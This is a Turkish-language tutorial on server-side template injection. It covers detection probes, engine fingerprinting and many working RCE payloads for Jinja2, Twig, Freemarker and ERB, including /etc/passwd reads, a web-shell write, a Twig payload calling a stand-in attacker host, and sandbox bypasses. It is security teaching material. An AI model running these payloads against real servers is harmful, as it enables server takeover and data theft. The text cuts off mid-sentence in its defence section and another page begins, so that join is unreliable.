Server-Side Template Injection Nedir?

Server-side template injection, saldırganın template engine'in native syntax'ını kullanarak kötü amaçlı payload enjekte edebildiği ve bu payload'ın server-side'da çalıştırılabildiği bir web güvenlik açığıdır.

Template Engine'lerin Normal Çalışma Prensibi

                // Normal ve güvenli kullanım

                $output = $twig->render("Dear {first_name},", 

                    array("first_name" => $user.first_name));

Yukarıdaki örnekte kullanıcının ismi sadece veri olarak template'e geçirilir ve güvenlidir.

Güvenlik Açığı Nasıl Oluşur?

                // Güvenlik açığı olan kullanım

                $output = $twig->render("Dear " . $_GET['name']);

Bu durumda template'in kendisi dinamik olarak oluşturuluyor ve saldırgan template syntax enjekte edebilir.

Saldırı örneği:
http://vulnerable-website.com/?name={{7*7}}

Eğer response'da "Dear 49" görürseniz, SSTI açığı vardır!

Önemli Fark: Bu açık bazen kaza ile oluşur (kötü template tasarımı), bazen de kasıtlı olarak uygulanır (content editor'ların template düzenlemesine izin verilmesi).

SQL Injection ile Benzerlik

SSTI, SQL injection'a benzer şekilde kullanıcı girdisinin güvensiz bir şekilde sorgu/template'e concatenate edilmesi sonucu oluşur. Her iki durumda da input validation ve parameterized queries/templates kullanımı kritiktir.

SSTI'nin Güvenlik Etkileri

Server-side template injection açıklarının güvenlik etkisi kullanılan template engine'e ve uygulamanın bunu nasıl kullandığına bağlıdır. Çoğu durumda etki katastrofik olabilir.

En Ciddi Etki: Remote Code Execution (RCE)
En kötü senaryoda saldırgan remote code execution elde edebilir, back-end server'ın tam kontrolünü ele geçirebilir ve internal infrastructure'a yönelik diğer saldırıları gerçekleştirebilir.

Potansiyel Güvenlik Etkileri

SSTI ile Yapılabilecekler:
• Remote Code Execution: Sunucuda arbitrary kod çalıştırma
• File System Access: Sunucudaki dosyalara erişim
• Sensitive Data Access: Hassas veri okuma
• Privilege Escalation: Yetki yükseltme
• Internal Network Access: İç ağa erişim
• System Information Disclosure: Sistem bilgisi sızdırma

Tipik saldırı progression'ı:
1. Template injection detection
2. Template engine identification
3. Basic code execution
4. File system exploration
5. Sensitive data extraction
6. Full system compromise

Risk Seviyesi

Critical Risk: Çoğu SSTI açığı CVSS 9.0+ skoruna sahiptir
Business Impact: Tam system compromise, data breach, reputational damage
Compliance: GDPR, PCI-DSS gibi compliance ihlalleri mümkün

Tam remote code execution mümkün olmadığı durumlarda bile, saldırganlar SSTI'yi diğer saldırıların temelı olarak kullanabilir, sensitive verilere ve sunucudaki arbitrary dosyalara read erişimi elde edebilir.

SSTI Açıkları Nasıl Ortaya Çıkar?

Server-side template injection açıkları, kullanıcı girdisinin veri olarak geçirilmek yerine template'lere concatenate edilmesi sonucu ortaya çıkar.

Güvenli Template Kullanımı

                // Twig ile güvenli kullanım

                $output = $twig->render(

                  "Dear {{first_name}},", 

                  array("first_name" => $user.first_name)

                );

Bu kod güvenlidir çünkü kullanıcının first_name'i sadece data olarak template'e geçirilir.

Güvenlik Açığı Olan Kod

                // Güvenlik açığı - String concatenation

                $output = $twig->render("Dear " . $_GET['name']);

Saldırgan bu URL ile saldırabilir:
http://vulnerable-website.com/?name={{bad-stuff-here}}

Yaygın SSTI Senaryoları

Kazara Oluşan Açıklar

Poor Template Design: Template security implications bilmeyen geliştiriciler
Component Concatenation: Farklı component'lerin yanlış birleştirilmesi
Dynamic Template Generation: Runtime'da template oluşturma

Kasıtlı Risk Alma

Content Editor'lar: Privileged kullanıcıların template edit etmesine izin verilmesi
Custom Templates: Kullanıcıların kendi template'lerini submit etmesi
Admin Panels: Admin interface'lerde template customization

Büyük Risk: Eğer saldırgan privileged account'ı compromise edebilirse, kasıtlı olarak verilen template editing yetkisi büyük güvenlik riski oluşturur.

SSTI Tespit Yöntemleri

Server-side template injection açıklarını tespit etmek ve başarılı bir saldırı gerçekleştirmek genellikle aşağıdaki high-level süreçleri içerir:

1. Detect (Tespit) Aşaması

SSTI açıkları karmaşık oldukları için değil, sadece bunları özellikle arayan auditor'lar tarafından fark edildiği için gözden kaçar. Açığı tespit edebildiğinizde, exploit etmek şaşırtıcı derecede kolay olabilir.

Temel fuzzing karakterleri:
${{<%[%'"}}%\

Bu karakterler exception tetiklerse, template syntax'ının sunucu tarafından interpret edildiğinin işaretidir.

İki Farklı Context

SSTI iki farklı context'de ortaya çıkar:
• Plaintext Context: HTML içeriğinde direkt output
• Code Context: Template expression içinde input

Plaintext Context Tespiti

Matematik operasyonu testi:
http://vulnerable-website.com/?username=${7*7}

Eğer output "Hello 49" içeriyorsa → SSTI açığı var!

                // Vulnerable template code

                render('Hello ' + username)

Code Context Tespiti

Context break-out testi:
http://vulnerable-website.com/?greeting=data.username}}<tag>

Eğer output "Hello Carlos<tag>" şeklindeyse → SSTI açığı var!

                // Vulnerable template code

                greeting = getQueryParameter('greeting')

                engine.render("Hello {{"+greeting+"}}", data)

Tespit İpuçları

XSS ile Karışabilir: SSTI bazen basit XSS açığı ile karıştırılır
Math Operations: Matematik işlemleri en güvenilir tespit yöntemidir
Error Messages: Template syntax hatası vermesi güçlü bir indicatordür

Template Engine Identification

Template injection potansiyelini tespit ettikten sonraki adım, hangi template engine'in kullanıldığını belirlemektir.

Template Engine'lerin Benzer Syntax'ı

Çok sayıda templating language olmasına rağmen, birçoğu HTML karakterleri ile çakışmamak için özellikle seçilmiş çok benzer syntax kullanır. Bu durum, hangi template engine'in kullanıldığını test etmek için probing payload'ları oluşturmayı nispeten basit hale getirir.

Popüler Template Engine'ler:
• Jinja2 (Python): Flask uygulamalarında yaygın
• Twig (PHP): Symfony framework'ü
• Freemarker (Java): Spring applications
• ERB (Ruby): Ruby on Rails
• Mustache: Logic-less templates
• Handlebars (JavaScript): Node.js applications

Error Message ile Identification

Invalid syntax ile test:
<%=foobar%>

ERB engine error message:
(erb):1:in `<main>': undefined local variable or method `foobar'

Decision Tree Yaklaşımı

↓

49: Twig

7777777: Jinja2

↓

49: Mathematical evaluation

Yaygın test payload'ları:
{{7*7}} - Basic math (çoğu engine)
{{7*'7'}} - Twig: 49, Jinja2: 7777777
${7*7} - Freemarker, Velocity
<%= 7*7 %> - ERB
#{7*7} - Ruby string interpolation

Dikkat: Aynı payload bazen birden fazla template language'de başarılı response verebilir. Tek bir başarılı response'a dayanarak sonuca varmayın, multiple test yapın.

Systematic Identification

Process of Elimination: Hangi syntax'ın valid/invalid olduğuna dayalı olarak elimination sürecini kullanarak seçenekleri düşündüğünüzden daha hızlı daraltabilirsiniz.

Multiple Payload Test: Farklı template engine'lerden syntax'lar ile matematik işlemleri enjekte edin ve başarılı evaluate edilip edilmediğini gözlemleyin.

SSTI Exploitation Teknikleri

Potansiyel açığın var olduğunu tespit ettikten ve template engine'i başarıyla identify ettikten sonra, bunu exploit etmenin yollarını bulmaya başlayabilirsiniz.

Basic Information Disclosure

Environment information:
{{config}} - Flask configuration (Jinja2)
{{settings}} - Django settings
${env} - Environment variables (Freemarker)

File System Access

File reading payloads:

{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('cat /etc/passwd').read()}}

Freemarker file access:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("cat /etc/passwd")}

Template Engine Specific Exploitation

Jinja2 (Python) Exploitation

Class chain traversal:
{{''.__class__.__mro__[1].__subclasses__()}}

OS module access:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig (PHP) Exploitation

Filter chain:
{{_self.env.setCache("ftp://attacker.net:2121")}}

System function access:
{{['id']|filter('system')}}

Freemarker (Java) Exploitation

Execute directive:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("whoami")}

ObjectConstructor:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path').normalize()}

Sandbox Bypass Teknikleri

Modern Template Engine'ler: Çoğu modern template engine sandbox implementasyonuna sahiptir. Bu sandbox'ları bypass etmek için advanced teknikler gerekebilir.

Python sandbox bypass:
{{lipsum.__globals__['os'].popen('id').read()}}

Alternative approach:
{{url_for.__globals__['sys'].modules['os'].system('id')}}

Remote Code Execution (RCE)

Server-side template injection'ın en kritik etkisi remote code execution elde etmektir. Bu bölümde çeşitli template engine'leri için RCE payload'larını inceleyeceğiz.

Jinja2 RCE Payload'ları

Basic RCE (Python subprocess):
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Alternative method:
{{''.__class__.mro()[1].__subclasses__()[396]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

Twig RCE Payload'ları

PHP system function:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Alternative payload:
{{""|file_put_contents("/var/www/html/shell.php")}}

Freemarker RCE Payload'ları

Execute utility:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("rm /home/carlos/morale.txt")}

ObjectConstructor approach:
${product.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")}

ERB RCE Payload'ları

Ruby system command:
<%= system("whoami") %>

Backtick execution:
<%= `id` %>

IO.popen method:
<%= IO.popen('id').readlines() %>

Advanced RCE Teknikleri

Sandboxed Environment Bypass

Reflection Usage: Java reflection API'sini kullanarak sandbox restrictions bypass
Alternative Import: Farklı module import yöntemleri
Chain Methods: Method chaining ile forbidden functions'a erişim
Encoding Bypass: Base64, hex encoding ile detection bypass

Legal Uyarı: RCE payload'ları sadece authorized testing ortamlarında kullanılmalıdır. Production sistemlerde unauthorized RCE elde etmek ciddi legal sonuçlara neden olabilir.

RCE Impact Escalation

Typical post-RCE activities:
1. System reconnaissance (uname -a)
2. User enumeration (cat /etc/passwd)
3. Privilege escalation attempts
4. Network discovery (netstat -an)
5. Persistent access establishment
6. Data exfiltration

SSTI'den Korunma Yöntemleri

Server-side template injection açıklarını önlemenin en iyi yolu, kullanıcıların template'leri modify etmesine veya yeni template submit etmesine izin vermemektir. Ancak business requirement'lar nedeniyle bu her z Server-Side Template Injection | Siber Güvenlik

Server-Side Template Injection

Template engine'lerinin güvenlik açıkları ve RCE saldırı teknikleri

{{7*7}} → 49 (Template Injection Detected!)

Server-Side Template Injection'a Giriş

Server-Side Template Injection (SSTI), saldırganın native template syntax kullanarak kötü amaçlı payload'ı template'e enjekte edebildiği ve bu payload'ın sunucu tarafında çalıştırılabildiği bir güvenlik açığıdır.

Bu teknik ilk olarak PortSwigger Research tarafından belgelendi:
2015 yılında yayınlanan "Server-Side Template Injection: RCE for the Modern Web App" araştırma makalesinde detaylandırılan bu saldırı türü, modern web uygulamalarında kritik bir güvenlik riski oluşturur.

Template engine'leri, sabit template'leri değişken verilerle birleştirerek web sayfaları oluşturmak için tasarlanmıştır. SSTI saldırıları, kullanıcı girdisi veri olarak geçirilmek yerine doğrudan template'e concatenate edildiğinde ortaya çıkar.

Template Syntax Örnekleri:
{{variable}} - Twig, Jinja2
${variable} - Freemarker
<%=variable%> - ERB
{%raw%}{%endraw%} - Django

Neden Tehlikeli:
SSTI, adından da anlaşılacağı gibi server-side'da gerçekleşir ve bu nedenle client-side template injection'dan çok daha tehlikelidir. Saldırganlar template engine'i manipüle ederek sunucunun tam kontrolünü ele geçirebilir.

Tarihçe

Bu saldırı türü, template engine'lerinin yaygınlaşmasıyla birlikte keşfedildi. Özellikle Python'daki Jinja2, Java'daki Freemarker ve PHP'deki Twig gibi popüler template engine'leri hedef alınır.